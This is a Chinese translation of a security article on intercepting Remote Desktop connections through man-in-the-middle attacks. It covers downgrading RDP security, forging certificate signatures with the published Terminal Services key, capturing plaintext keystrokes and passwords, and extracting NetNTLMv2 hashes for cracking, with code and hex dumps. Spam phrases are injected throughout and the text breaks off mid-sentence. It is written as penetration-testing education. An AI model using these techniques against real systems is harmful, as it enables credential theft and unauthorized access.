*** 黑客能根据手机号查到本人部位吗-怎样监听不安全的 RDP 联接
远程桌面连接协议书是系统管理员用于连上微软公司终端设备服务项目的电脑上。很有可能最普遍的是,它被用于在重要 *** 服务器上实行管理人员每日任务,例如有着高管理权限的帐户的域控制器,这正中间的资格证书便是根据RDP协议传送的。因而,配置一个安全性的RDP十分关键。我们在SySS(State-of-the-Art of IT System Intrusion)常常看到因为不正确地配置,在系统管理员活动目录自然环境中出現这类警告:
清除点一下这里插入图片表明文本Figure 1: An SSL certificate warning假如你常常碰到那样的警告,你也就不可以鉴别出真实的中间人攻击。文中致力于提升 认真完成验证警告的必要性和实际意义,以安全性地配置您的Windows自然环境。合适文中的阅读者为系统管理员,网站渗透测试工作人员和安全性发烧友。尽管并不是务必的,但你对下边好多个层面更好是有一个了解:--公匙登陆密码体制和对称性登陆密码体制RSA和RC4)--SSL(Secure Sockets Layer 避孕套接层)--– x509 腾讯充值 *** 黑客破解版下载 certificates(x509资格证书)--TCP(Tran *** ission Control Protocol 传输控制协议)--python--– Hexadecimal numbersand binary code(十六进制数值和二进制代码)大家可能演试怎样根据中间人攻击来 *** 嗅探你的资格证书,假如你一不小心得话。这都并不是新鮮的技术性,之前就出現过,例如Cain&Abel新项目。殊不知,Cain新项目出現好长时间了,却闭源而且只适用Windows。大家要想剖析全部与RDP 內部工作中有关的关键点,随后尽量贴近地模拟一个真正的进攻。不容置疑的是, 你不能依据本文中的发觉来浏览没经受权的系统软件。他们只有在系统管理员表示同意的状况下作为课堂教学目地。否腾讯充值 *** 黑客破解版下载则,依据你的地域管辖,你十分有可能违犯法律法规。针对这些没有耐心的,偏向源码的连接见【1】。初遇协议书使我们先开启wireshark,看一下根据RDP协议联接到一个 *** 服务器会产生哪些。
清除点一下这里插入图片表明文本图2: 在Wireshark中的RDP会话开始正如圖,手机客户端更先明确提出腾讯充值 *** 黑客破解版下载了用以RDP对话的安全协议书。 大家区别出了这三个协议书:--StandardRDPsecurity--EnhancedRDPsecurityorTLSsecurity--CredSSP在这个事例中,手机客户端可以实行前2个协议书。必须留意的是,规范的RDP协议自始至终十分安全性而且不用被手机客户端提醒。TLS,或是“提高的RDP安全性”,仅仅规范的RDP安全性,被数据加密在TLS隧道施工里。在下列全篇,我能不断用专业术语 SSL和 TLS来叙述。CredSSP也在TLS隧道施工内,但并不是根据受维护的隧道施工中传送登陆密码,Kerberos或是NTLM也作为身份验证。 这一协议书也称之为互联网级验证(NetworkLevelAuthentication)。初期的用户认证是允腾讯充值 *** 黑客破解版下载许 *** 服务器在递交一切凭证以前拒绝访问的作用(除开登录名),比如,假如客户沒有必需的远程登录权利得话。在大家的Wireshark对话中,我们可以见到在手机客户端和服务端愿意应用提高的RDP安全协议书后实行SSL挥手协议书。因此,大家点一下之一个数据文件的商议报文格式 ,然后将TCP流编解码为SSL:
清除点一下此腾讯充值 *** 黑客破解版下载处插入图片表明文本图3: SSL挥手刚开始如果我们想中介人来进行RDP联接得话,大家就不可以仅仅应用SSL *** 商,由于 *** 商必须能够鉴别RDP协议。当之一次SSL挥手的情况下,必须鉴别出去,和 *** TP或是 FTP协议里的StartTLS相近。在这里用python来完成这一 *** 商的功效。因此,大家只需建立受害人的 *** 服务器套接字,手机客户端联接到具体服务端。假如必需得话,大家将其封裝在SSL套接字中并分享这种数据信息。自然,大家也会紧密查验很有可能改动被改动的数据信息。更先我们要改动是手机客户端的协议书作用。手机客户端很有可能想告知 *** 服务器它适用CredSSP,可是大家将在到 *** 服务器的通道正中间更改规范的RDP安全系数。在那里默认设置配置, *** 服务器将兴高采烈遵循。为RDP结构一个根据python的腾讯充值 *** 黑客破解版下载中介人 *** 商Python编码的关键程序流程以下
清除点一下这里插入图片表明文本涵数Run() 创建sockets通讯,解决商议协议书并开启SSL,假如必需得话。以后在2个套接字中间分享数据信息。如果有调节标示得话,涵数dump()会把数据信息以十六进制的方式复印出去。涵数parse_rdp()腾讯充值 *** 黑客破解版下载从数据信息中获取一些有效的信息内容,涵数tamper_data()会做一些相对的改动。基础的密码算法专业知识由于我们要破译规范的RDP安全性,我觉得先讲下RSA的基础知识。你能绕过这些。在RSA中,加密解密,签字全是纯数学计算,仅仅凭着整数金额来进行。只必须记牢全部的这种实际操作全是在比较有限群范畴内。如果你在形成RSA密匙对时,你需要寻找2个大素数p和q。取她们的相乘,N = PQ(这就是说白了的变位系数),测算φ(N)=(P - 1)(Q - 1)(欧拉函数),并选个和φ(N)互质的整数金额e。则d一定考虑下式:e · d ≡ 1 mod φ(n).d是公钥,而e和n构成公匙。自然,从理论上d能够根据n和e算出去。除非是你了解p和q,腾讯充值 *** 黑客破解版下载不然φ(n)是难以算出去。这就是为何RSA的安全系数非常大水平上在于溶解大素数的难度系数。到迄今为止,没人了解怎么才能测算大素数 - 除非是你有一个量子计算机[4,5]。为了更好地数据加密全文m,测算m的e三次方模上n:c ≡ me mod n为了更好地破译保密c,要是把e换为d就可以:m≡ cd mod n假如你并不是很搞清楚得话,别担心这仅仅逆数据加密实际操作。数学课证实得话,针对文中而言就繁杂了。签字与破译同样。你仅仅在信息的散列上实行它。由于这种实际操作能够花销非常大成本,当m或c是超过256位的数时,则一般只应用RSA数据加密的对称性密匙。用对称性登陆密码新造成的密匙来对具体信息开展数据加密(一般是AES)。毁坏规范的RDP安全性实际上,沒有过多要破译的。从设计方案上而言腾讯充值 *** 黑客破解版下载它就有什么问题,我能对你说为何。规范RDP安全性的工作方式是那样的:- 手机客户端表明它准备应用规范RDP安全协议书。- *** 服务器愿意,并把它自身的RSA公匙和一个“ *** 服务器随机数字”发给手机客户端。该公匙再加上一些别的信息内容(如IP地址等)被称作“资格证书”。该资格证书是应用公钥终端设备服务项目,以保证 真实有效。- 手机客户端根据应用终端设备服务项目公匙认证资格证书。假如取得成功得话,它应用 *** 服务器的公匙来数据加密“手机客户端随机数字”,并将其发给 *** 服务器。- *** 服务器用公钥破译手机客户端随机数字。- *** 服务器和手机客户端从另一方的随机数字导出来对话密匙[6]。密匙用以对称加密对话的一部分。留意全部这一切都是以密文方式传送,而不是在SSL隧道施工內部。正常情况下是好的,微软公司腾讯充值 *** 黑客破解版下载想和SSL所做的那般完成同样的技术性。殊不知,密码算法是难以的[7],而且一般来说,你应该去采用这些承受時间磨练的解决方案,并非完成自身的。而微软公司立刻就犯了一个重特大不正确。不正确太显著了以至于终于明白她们为何这样做。你可以发觉这儿的不正确吗?顾客怎样获得终端设备服务项目公匙呢?回答是:它是自带的。这代表着每一个系统软件上同样的密匙。这代表着公钥自始至终是同样的!因而,它能够从一切Windows安裝全过程中获得。实际上,大家乃至不用那般做,因为如今微软官网早已宣布公布,我们可以在microsoft.com[8]查询。对话密匙被导出来后,对称加密能够在好多个层级上开展[9]:无,40位RC4,56位RC4,128位RC4,或3DES(她们称作FIPS)。初始值是128位RC4(“高”)。但如果我们能够监听到密匙,数据加密多强就压根不重要了。因此 方案很确立:当碰到 *** 服务器的公匙,大家迅速形成自身一样尺寸的RSA密匙对,并遮盖它原先的密匙。自然,大家必须用终端设备公钥服务项目来形成大家公匙的签字,并且用它替代原先的签字。随后,手机客户端取得成功地认证了大家仿冒的公匙,大家收到了手机客户端的随机数字。用公钥来破译它,把它记下来,用手机客户端公匙再次数据加密它。就这样!从今天开始,大家就可以分析手机客户端和服务端的数据加密总流量了。唯一的挑戰是恰当地分析RDP报文格式。这刚好是大家很感兴趣的一部分:1 腾讯充值 *** 黑客破解版下载 From server:2 00000000: 03 00 02 15 02 F0 80 7F 6682 02 09 0A 01 00 02 ........腾讯充值 *** 黑客破解版下载f.......3 00000010: 01 00 30 1A 02 01 22 02 0103 02 01 00 02 01 01 ..0...".........4 00000020: 02 01 00 02 01 01 02 03 00FF F8 02 01 02 04 82 ................5 00000030: 01 E3 00 05 00 14 7C 00 012A 14 76 0A 01 01 00 ......|..*.v....6 00000040: 01 C0 00 5D 63 44 6E 81 CC01 0C 10 00 04 00 08 ...McDn.........7 00000050: 00 腾讯充值 *** 黑客破解版下载 00 00 00 00 01 00 00 0003 0C 10 00 EB 03 04 ................8 00000060: 00 EC 03 ED 03 EE 03 EF 0302 0C AC 01 02 00 00 ................Vollmer |Attacking RDP79 00000070: 00 02 00 00 00 20 00 00 0078 01 00 00 D9 5E A3 ..... ...x....^.10 00000080: AA D6 F6 80 EB 0B 3E 1D 8D30 B3 AB 6A AE 26 07 ......>..0..j.&.11 00000090:腾讯充值 *** 黑客破解版下载 EF 89 三维 CB 15 98 AE 22 7E4B 2B AF 07 01 00 00 ..=...."~K .....12 000000A0: 00 01 00 00 00 01 00 00 0006 00 1C 01 52 53 41 .............RSA13 000000B0: 31 08 01 00 00 00 08 00 00 FF00 00 00 01 00 01 1...............14 000000C0: 00 AF 92 E8 20 AC D5 F7 BB 9FCF 6F 6E 2C 63 07 .... ......on,c.15 000000D0: 34 CC A7 7A 21 AB 腾讯充值 *** 黑客破解版下载 29 8A 1B 5DFE FD 43 F1 10 FC 4..z!.)..]..C...16 000000E0: DB C6 D6 4B F1 B7 E1 B9 5E F768 46 58 EF 09 39 ...K....^.hFX..917 000000F0: 08 03 0F 54 0C 58 FA 3E A3 4a50 F6 91 E9 41 F8 ...T.X.>.JP...A.18 00000100: 89 1D CC 14 3C 64 0B 1D 2B 0C98 DF 63 D6 A6 7 2 ....19 00000110: 42 ED AC CB 88 44 85 47 D3 8945 BA BD 9F 2D D0 B...腾讯充值黑客破解版.D.G..E...-.20 00000120: D5 0E 24 09 AD 02 2B 9D 37 18DD 12 8B F6 21 5B ..$...+.7.....![21 00000130: 20 47 33 52 9C 00 32 BA E7 8380 7F AA 3C F3 C7 G3R..2......<..22 00000140: 95 DD 84 C2 4E 5E 0C 27 52 74FC 87 0E 10 D9 42 ....N^.'Rt.....B23 00000150: 19 0D F5 77 57 3F 71 4F 9C 340F 12 F8 E8 B0 59 ...wW?qO.4.....Y24 0000016腾讯充值黑客破解版0: F7 CD 09 F9 A5 25 AE 6A CB E6CB 88 24 DA D2 46 .....%.j....$..F25 00000170: 42 21 21 94 2E 6D 42 FF 9F AF89 E3 BA EC CC DA B!!..mB.........26 00000180: 15 71 5D 17 A9 5A 00 59 D4 ADEA E4 93 58 06 5B .q]..Z.Y.....X.[27 00000190: F7 22 2A 1F DD DC C6 27 30 2A25 10 B1 A8 40 98 ."*....'0*%...@.28 000001A0: 6B 24 B6 4E 2A 7腾讯充值黑客破解版9 B7 40 27 F4BE 07 35 80 50 48 k$.N*y.@'...5.PH29 000001B0: 72 A4 0D 2B AA B0 5C 89 C0 962A 49 1E BC A1 AB r..+..\...*I....30 000001C0: D0 00 00 00 00 00 00 00 00 08 00 48 00 3D 5F 11 ...........H.=_.31 000001D0: A1 C1 38 09 1B B1 85 52 1ED1 03 A1 1E 35 E7 49 ..8....R.....5.I32 000001E0: CC 25 C3 3C 6B 98 77 C2 8703 C4 F5 78 0腾讯充值黑客破解版9 78 F1 .%.33 000001F0: 43 21 07 BD AB EE 8E B0 F6BC FC B0 A6 6A DD 49 C!...........j.I34 00000200: A0 F1 39 86 FE F1 1E 36 3CCE 69 C0 62 00 00 00 ..9....6<.i.b...35 00000210: 00 00 00 00 00.....我加粗了那些表示公共密钥的字节。它前面的两个字节表示它的长度(0x011c)little-endian字节顺序(0x011c)。正如我们之前讨论的,公共密钥由模数和公共指数组成。阅读RDP规范[10]来了解数据结构的细节。让我们来看看该信息确实是我们感兴趣的。腾讯充值黑客破解版模数如下:1 00000000: AF92 E820 ACD5 F7BB9FCF 6F6E 2C63 0734 ... ......on,c.42 00000010: CCA7 7A21 AB29 8A1B5DFE FD43 F110 FCDB ..z!.)..]..C....3 00000020: C6D6 4BF1 B7E1 B95EF768 4658 EF09 3908 ..K....^.hFX..9.4 00000030: 030F 540C 58FA 3EA34A50 F691 E941 F889 ..T.X.>.JP...A..5 00000040: 1DCC 143C 640B 1D2B0C98 DF63 D6A6 7242 .腾讯充值黑客破解版..6 00000050: EDAC CB88 4485 47D38945 BABD 9F2D D0D5 ....D.G..E...-..7 00000060: 0E24 09AD 022B 9D3718DD 128B F621 5B20 .$...+.7.....![8 00000070: 4733 529C 0032 BAE78380 7FAA 3CF3 C795 G3R..2......<...9 00000080: DD84 C24E 5E0C 275274FC 870E 10D9 4219 ...N^.'Rt.....B.10 00000090: 0DF5 7757 3F71 4F9C340F 12F8 E8B0 59F7 腾讯充值黑客破解版 ..wW?qO.4.....Y.11 000000A0: CD09 F9A5 25AE 6ACBE6CB 8824 DAD2 4642 ....%.j....$..FB12 000000B0: 2121 942E 6D42 FF9FAF89 E3BA ECCC DA15 !!..mB..........13 000000C0: 715D 17A9 5A00 59D4ADEA E493 5806 5BF7 q]..Z.Y.....X.[.14 000000D0: 222A 1FDD DCC6 27302A25 10B1 A840 986B "*....'0*%...@.k15 000000E0: 24B6 4E2A 79B7 4027F4BE 07腾讯充值黑客破解版35 8050 4872 $.N*y.@'...5.PHr16 000000F0: A40D 2BAA B05C 89C0962A 491E BCA1 ABD0 ..+..\...*I.....17 00000100: 0000 0000 0000 0000........签名是:1 00000000: 3D5F 11A1 C138 091BB185 521E D103 A11E =_...8....R.....2 00000010: 35E7 49CC 25C3 3C6B9877 C287 03C4 F578 5.I.%.3 00000020: 0978 F143 2107 BDABEE8E B0F6 BCFC B0A6 .x.C!.......腾讯充值黑客破解版....4 00000030: 6ADD 49A0 F139 86FEF11E 363C CE69 C062 j.I..9....6<.i.b5 00000040: 0000 0000 0000 0000........服务器端随机数:100000000: D95E A3AA D6F6 80EB0B3E 1D8D 30B3 AB6A .^.......>..0..j200000010: AE26 07EF 893D CB1598AE 227E 4B2B AF07 .&所有的都是小端字节序。我们注意到在服务器随机数,并替换了两个值。使用OpenSSL来生成RSA密钥。有个Python库也可以实现RSA,但它效率和openssl比的腾讯充值黑客破解版话太低了1$ openssl genrsa 512 | openssl rsa -noout -text2Generating RSAprivate key, 512 bit long modulus3.....++++++++++++4..++++++++++++5e is 65537 (0x01001)6Private-Key : (512bit)7modulus:800:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:9e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:1081:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:112腾讯充值黑客破解版1:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:1264:b4:98:1f:d71 *** ublicExponent:65537(0x10001)14privateExponent:1500:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:1688:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:17cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:1805:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:198a:f6:47:38:c120prime1:21[...腾讯充值黑客破解版]在这里我们可以看到模数n,公钥e和私钥d。它们都是以16进制的大端字节序的形式表示的。我们实际需要2048位的密钥,而不是512位的,但你有一个想法,伪造签名是很容易的。我们采取的证书的前六块的MD5哈希值,参照规格[11]加上一些常量,并用终端服务密钥【8】的私有部分进行加密。下面是它的python实现:12defsign_certificate(cert):3"""Signs the certificate with the privatekey"""4m = hashlib.md5()5m.update(cert)6m = m.digest() + b"\x00" 腾讯充值黑客破解版 + b"\xff"*45 +b"\x01"7m = int.from_bytes(m, "little")8d = int.from_bytes(TERM_PRIV_KEY["d"],"little")9n = int.from_bytes(TERM_PRIV_KEY["n"],"little")10s = pow(m, d, n)11return s.to_bytes(len(crypto["sign"]),"little")我们需要拦截的下一条消息是一个包含加密的腾讯充值黑客破解版客户端随机。它看起来是这样的1From client:2 00000000: 03 00 01 1F 02 F0 80 64 00 08 03 EB 70 81 10 01.......d....p...3 00000010: 02 00 00 08 01 00 00 DD 8A 43 35 DD 1A 12 99 44 .........C5....D4 00000020: A1 3E F5 38 5C DB3F 3F 40 D1 ED C4 A9 3B 60 6A .>.8\.??@....;`j5 00000030: A6 10 5A AF FD 177A 21 43 69 D0 F8 9B F1 21 A3 ..Z...z!Ci...腾讯充值黑客破解版.!.6 00000040: F1 49 C6 80 96 0362 BF 43 54 9D 38 4D 68 75 8C .I....b.CT.8Mhu.7 00000050: EA A1 69 23 2F F6E9 3B E7 E0 48 A1 B8 6B E2 D7 ..i#/..;..H..k..8 00000060: E2 49 B1 B2 1B BFBA D9 65 0B 34 5A B0 10 73 6E .I......e.4Z..sn9 00000070: 4F 15 FA D7 04 CA5C E5 E2 87 87 ED 55 0F 00 45 O.....\.....U..E10 00000080: 65 2C C6 1A 腾讯充值黑客破解版 4C 096F 27 44 54 FE B6 02 1C BA 9F e,..L.o'DT......11 00000090: 3B D8 D0 8D A5 E693 45 0C 9B 68 36 5C 93 16 79 ;......E..h6\..y12 000000A0: 0B B8 19 BF 88 085D AC 19 85 7C BB AA 66 C4 D9 ......]...|..f..13 000000B0: 8E C3 11 ED F3 8D27 60 8A 08 E0 B1 20 1D 08 9A ......'`.... ...14 000000C0: 97 44 6D 33 23 0E5C 73 D4 02 4C 20 9腾讯充值黑客破解版7 5C C9 F6 .Dm3#.\s..L .\..15 000000D0: 6D 31 B2 70 35 3937 A4 C2 52 62 C7 5A 69 54 44 m1.p597..Rb.ZiTD16 000000E0: 4C 4A 75 D2 63 CC52 15 8F 6E 2A D8 0D 61 A5 0A LJu.c.R..n*..a..17 000000F0: 47 5B 2A 68 97 7B1B FF D3 33 10 49 15 9A D6 2C G[*h.{...3.I...,18 00000100: DF 04 6D 93 21 7832 98 8B 0B F4 01 33 FB CC 5B ..m.!x2.....3腾讯充值黑客破解版..[19 00000110: 83 BA 2D 7F EA 823B 00 00 00 00 00 00 00 00 ..-...;........同样,我强调了加密的客户端随机。它前面的四个字节表示它的长度(0x0108)。因为是用我们的证书加密的,所以我们可以很容易地将其解密:1 00000000: 4bbd f97d 49b6 8996ec45 0ce0 36e3 d170 K..}I....E..6..p2 00000010: 65a8 f962 f487 5f27cd1f 294b 2630 74e4 e..b.._'..)K&0t.我们只需要使用服务器的公钥重新进行加密,并且在传输将替换它替换下。不巧的是,我们还没做完。我们现腾讯充值黑客破解版在知道秘密的客户端随机,但不管是什么原因微软决定不只是使用对称密钥。有一个详细的过程[6]派生的客户端的加密密钥,服务器端的加密密钥和签名密钥。它很无趣但是明了。之后,我们得出的会话密钥,我们可以初始化s盒用RC4流。由于RDP接受来自服务器的消息时比来自客户端的多个分散的密钥,我们需要两个S盒。S盒是一个256个字节数组根据密钥以一种特定方式变换。然后S盒生成伪随机数的流,这些都是数据流相互异或得到的。我的Python实现如下正如你所看到的,该协议在加密4096个包之后需要更新密钥。我还没有花心思去实现它,因为我只对作为概念验证的证书感兴趣。随意给我一个补丁!现在,我们准备好读取流量用到的所有东西了。我们对于那些包含键盘输入事件的包特别感兴趣,即腾讯充值黑客破解版按键和按键释放。我从规范[12]收集了包含多个数据包的消息,有些是缓慢路径的数据包(以0x03开始),有些是快速路径数据包(之一个字节可以被4整除)。一次键盘输入事件[13] 由两个字节组成,例如:00000000:01 1F这意味着做了“S”键(0x1F)已经按过了(因为之一个字节为0x01)。我不是很擅长分析这些,因为有时鼠标移动事件会被键盘事件检测到。因此,该扫描码需要转换为虚拟键码,它取决于键盘类型和布局。这似乎没什么意义,所以我打算做。我只是使用了参考【14】中的地图。这是足够好的概念证明。让我们来尝试一下。一旦连接到我们的伪造的RDP服务器,我们已经收到了警告,服务器的真实性无法验证:
移除点击此处添加图片说明文字图4: 服务器的身份不能验证通过注意到什么了吗?这不是一个SSL警告。不管怎样,我们现在可以看到按键(见图5)。顺便说一句,这就是Cain正在做的。破坏增强的RDP安全对我来说,降级到标准RDP的安全性是不能令人感到满意的。如果我是攻击者,我会尽量让攻击看起来地正常。受害者腾讯充值黑客破解版会发现与平时不一样的警告,在建立连接之后需要输入他们的证书。当我和Cain作为中间人攻击RDP连接时,总是很困扰看不到相同的SSL警告,。我发现很难给客户解释为什么要当心SSL警告,特别是如果他们使用自己签名的证书时可能不需要进行验证,如果这个MITM工具显示了一个完全不同的警告时。
移除腾讯充值黑客破解版点击此处添加图片说明文字图5: 以明文形式的键盘输入事件。密码是 Secr3t!所以让我们尝试降级到增强的RDP安全的连接。对于这一点,我们需要自己签名的SSL证书,这可以通过OpenSSL产生:1 $openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS"-nodes -x509 \2 -subj"$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null我们在正确的时间换了SSL包内的PythonTCP套接字并且成功了。前面我说过标准RDP协议用腾讯充值黑客破解版在SSL隧道内部,但服务器总是选择“无”作为加密级别。这样很好,因为它可以安全地假设SSL包确保了数据的真实性和完整性。在SSL的顶端使用RC4算法是一种浪费资源的体现。击键的提取工作完全和以前的部分一样。唯一额外的安全功能是由服务器确认原来的协议协商。在SSL连接建立后,服务器告诉客户端:“对了,你告诉我你支持哪些安全协议“。二进制形式如下:From server:1 00000000: 03 00 00 70 02 F0 80 7F 6666 0A 01 00 02 01 00 ...p....ff......2 00000010: 30 1A 02 01 22 02 01 03 02 01 00腾讯充值黑客破解版 02 01 01 02 010..."...........3 00000020: 00 02 01 01 02 03 00 FF F8 02 01 02 04 42 00 05 .............B..4 00000030: 00 14 7C 00 01 2A 14 76 0A 01 01 00 01 C0 00 4D ..|..*.v.......M5 00000040: 63 44 6E 2C 01 0C 10 00 04 00 08 00 01 00 00 00 cDn,............7 00000050: 01 00 00 00 03 0C 1000 EB 03 04 00 EC 03 ED 03 .....腾讯充值黑客破解版...........8 00000060: EE 03 EF 03 02 0C 0C00 00 00 00 00 00 00 00 00 ................然后,客户端会把这个值和它之一次请求的值作比较,如果不匹配的话,终止连接。显然,为时已晚。我们在中间的位置,可以通过用它的原始值(即0x03)来替换正确的字节(突出显示的偏移量0x4C处)从而隐藏伪造的来自客户端的协商请求。在此之后,我们能够以明文形式看到所有的东西。来吧,尝试一下。正如预期的那样,受害者看到了正确的SSL警告。但是,还是有点不一样的。在RDP连接建立之前没有提示说我们的证书,而是受害者看到了windows登录窗口。不像NLA,认证在会话过程中。同样,有些东西不同腾讯充值黑客破解版于典型的管理员的工作流程,并且可能被注意到。阻断 CredSSP好吧,我就在这里承认这一点:我们是不会阻断CredSSP的。但是,我们会找到一个 *** 来规避它。首先,让我们来看看,如果我们不降级连接的话会发生什么。发送到服务器的一条相关信息如下:1 From client:2 00000000: 30 82 02 85 A0 03 0201 04 A1 82 01 DA 30 82 01 0............0..3 00000010: D6 30 82 01 D2 A0 8201 CE 04 82 01 CA 4E 54 4C .0...........NTL4 00000020: 4D 53 53 50 00 03 0000 00 18 0腾讯充值黑客破解版0 18 00 74 00 00 MSSP.........t..5 00000030: 00 2E 01 2E 01 8C 0000 00 08 00 08 00 58 00 00 .............X..6 00000040: 00 0A 00 0A 00 60 0000 00 0A 00 0A 00 6A 00 00 .....`.......j..7 00000050: 00 10 00 10 00 BA 0100 00 35 82 88 E2 0A 00 39 .........5.....98 00000060: 38 00 00 00 0F 6D 49C4 55 46 C0 67 E4 B4 5D 86 8....mI.UF.腾讯充值黑客破解版g..].9 00000070: 8A FC 3B 59 94 52 0044 00 31 00 34 00 55 00 73 ..;Y.R.D.1.4.U.s10 00000080: 00 65 00 72 00 31 0057 00 49 00 4E 00 31 00 30 .e.r.1.W.I.N.1.011 00000090: 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 ................12 000000A0: 00 00 00 00 00 00 0000 00 11 0D 65 8E 92 7F 07 ...........e....13 000000B0: 7B 04 0腾讯充值黑客破解版2 04 0C C1A6 B6 EF 01 01 00 00 00 00 00 {...............14 000000C0: 00 D5 FD A8 7C EC95 D2 01 A7 55 9D 44 F4 31 84 ....|.....U.D.1.15 000000D0: 8A 00 00 00 00 0200 08 00 52 00 44 00 31 00 34 .........R.D.1.416 000000E0: 00 01 00 08 00 4400 43 00 30 00 31 00 04 00 14 .....D.C.0.1....17 000000F0: 00 72 00 64 00 3100 34 00 2E 00腾讯充值黑客破解版 6C 00 6F 00 63 .r.d.1.4...l.o.c18 00000100: 00 61 00 6C 00 0300 1E 00 64 00 63 00 30 00 31 .a.l.....d.c.0.119 00000110: 00 2E 00 72 00 6400 31 00 34 00 2E 00 6C 00 6F ...r.d.1.4...l.o20 00000120: 00 63 00 61 00 6C00 05 00 14 00 72 00 64 00 31 .c.a.l.....r.d.121 00000130: 00 34 00 2E 00 6C00 6F 00 63 00 61 00 6C 00 07 腾讯充值黑客破解版 .4...l.o.c.a.l..22 00000140: 00 08 00 D5 FD A87C EC 95 D2 01 06 00 04 00 02 ......|.........23 00000150: 00 00 00 08 00 3000 30 00 00 00 00 00 00 00 00 .....0.0........24 00000160: 00 00 00 00 20 0000 4C FA 6E 96 10 9B D9 0F 6A .... ..L.n.....j25 00000170: 40 80 DA AA 8E 264E 4E BF AF FA E9 E3 68 AF 78 @....&NN.....h.x26 00000180:腾讯充值黑客破解版 7F 53 E3 89 D9 6B18 0A 00 10 00 00 00 00 00 00 .S...k..........27 00000190: 00 00 00 00 00 0000 00 00 00 00 09 00 2C 00 54 .............,.T28 000001A0: 00 45 00 52 00 4D00 53 00 52 00 56 00 2F 00 31 .E.R.M.S.R.V./.129 000001B0: 00 39 00 32 00 2E00 31 00 36 00 38 00 2E 00 34 .9.2...1.6.8...430 000001C0: 00 30 00 2E 00 3100 37 腾讯充值黑客破解版 00 39 00 00 00 00 00 00 .0...1.7.9......31 000001D0: 00 00 00 00 00 0000 19 0AF7 ED 0C 45 C0 80 73 ............E..s32 000001E0: 53 74 1A AB AF 13 B4A3 81 9F 04 81 9C 01 00 00 St..............33 000001F0: 00 7F 38 FE A6 32 5E4E 57 00 00 00 00 42 B4 6E ..8..2^NW....B.n34 00000200: 39 09 AA CC 8F 04 715C 54 CF AD E0 A0 58 AA 06 9腾讯充值黑客破解版.....q\T....X..35 00000210: B2 F0 0A 33 05 03 5460 FB E1 68 FC F5 0D A9 C0 ...3..T`..h.....36 00000220: D9 57 BA 43 F2 92 F76F 32 74 4E 86 CD 7F F0 3B .W.C...o2tN....;37 00000230: DD A4 A4 67 0A B7 7E64 0B 63 D7 4B F7 C6 B7 8F ...g..~d.c.K....38 00000240: 21 15 9D EA 3E E1 1A50 AB AA D3 6E 46 9D 68 6E !...>..P...nF.hn39 000腾讯充值黑客破解版00250: 2A EA 44 5C E0 51 1D41 B4 13 EB B9 90 E8 75 AD *.D\.Q.A......u.40 00000260: A0 99 4E F2 A5 99 D48D 2A 11 73 F1 95 FC 7E A0 ..N.....*.s...~.41 00000270: 06 FD 13 DB D0 3B 7AB4 41 97 B6 94 D4 11 62 F5 .....;z.A.....b.42 00000280: 4C 06 BE 03 9C 0F 550E 3C L.....U.<.我强调了客户端质询和NTLM响应。无论是对旁边的海誓山盟。服务器质询在来自服务器的前面的消息中。我们正在寻找腾讯充值黑客破解版在这里是NTLM身份验证[15]。这是一个挑战 - 响应技术,其中客户端映射服务器质询(类似于早些时候服务器随机数),客户端质询,用户密码的哈希值和一些其他数的到一个加密哈希值。这个值,叫做“NTLM响应”,然后传输到服务器。这个值是如何算出来的对于我们不是很重要。我们唯一需要知道的的事情就是它不能重现或用于哈希攻击。但它可以被暴力破解!底层散列算法是HMAC-MD5,所有这是一个相当简单的哈希算法(所以我们每秒钟可以破解很多次),但它也是加盐的(这就排除了彩虹表)。现在,我们可以尝试用Hashcat [17]或JohntheRipper[18]来破解它。John的哈希格式如下:1 腾讯充值黑客破解版 :::::所以在我们的例子中会有:User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000000d5fda87cec95d201a7559d44f431848a000000000200080052004400310034000100080044004300300031000400140072006400310034002e006c006f00630061006c0003001e0064006300300031002e0072006400310034002e006c006f00630061006c000500140072006400310034002e006c006f00630061006c0007腾讯充值黑客破解版000800d5fda87cec95d201060004000200000008003000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffae9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00340030002e00310037003900000000000000000000000000如果我们把这个放在在一个名为hashes.txt的文腾讯充值黑客破解版件中,下面的命令能够验证我们是否做的是对的:1$ echo 'S00perS3cretPa$$word' | ./john --format=netntlmv2--stdin hashes.txt2Using default input encoding: UTF-83Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD532/64])4Will run 8 OpenMP threads5Press Ctrl-C to abort, or send SIGUSR1 to john process forstatus6S00perS3cretPa$$word (User1)71g 0:0腾讯充值黑客破解版0:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/sS00perS3cretPa$$word8Use the "--show" option to display all of thecracked passwords reliably9Session completed因此,这是聊胜于无。但是,我们可以做的更好。我们需要问自己:如何在服务器端验证NTLM响应?它要求域控制器。如果域控制器不可用呢?它说:“换下思路,让我们做增强的RDP安全而不是NLA”,客户端也将遵守。而抱怨者会说:由于客户端已经缓了用户的密码,它只会传输它,而不是将用户定向到Windows登录界面的!腾讯充值黑客破解版这恰恰是我们想要的东西。除了SSL警告(受害者可能习惯了这个),什么可疑的都不会发生。所以我们这样做:在客户端发送的NTLM响应后,我们将代替服务器这样回答:我没有找到关于这个的文档(如果你找到的话,请给我写一封电子邮件),但如果不能连接到域控制器的话服务器端会如何响应。客户端将退回到增强的RDP安全,显示SSL警告,并从SSL隧道向服务器里传输密码。作为一个侧面说明,请注意我们没有得到SSL警告。根据规格[19],客户端需要发送SSL证书的指纹到由CredSSP的协议协商的密钥加密的服务器。如果不匹配服务器证书的指纹,会话终止。这就是为什么上述工作如果受害人提供了不正确的凭据- 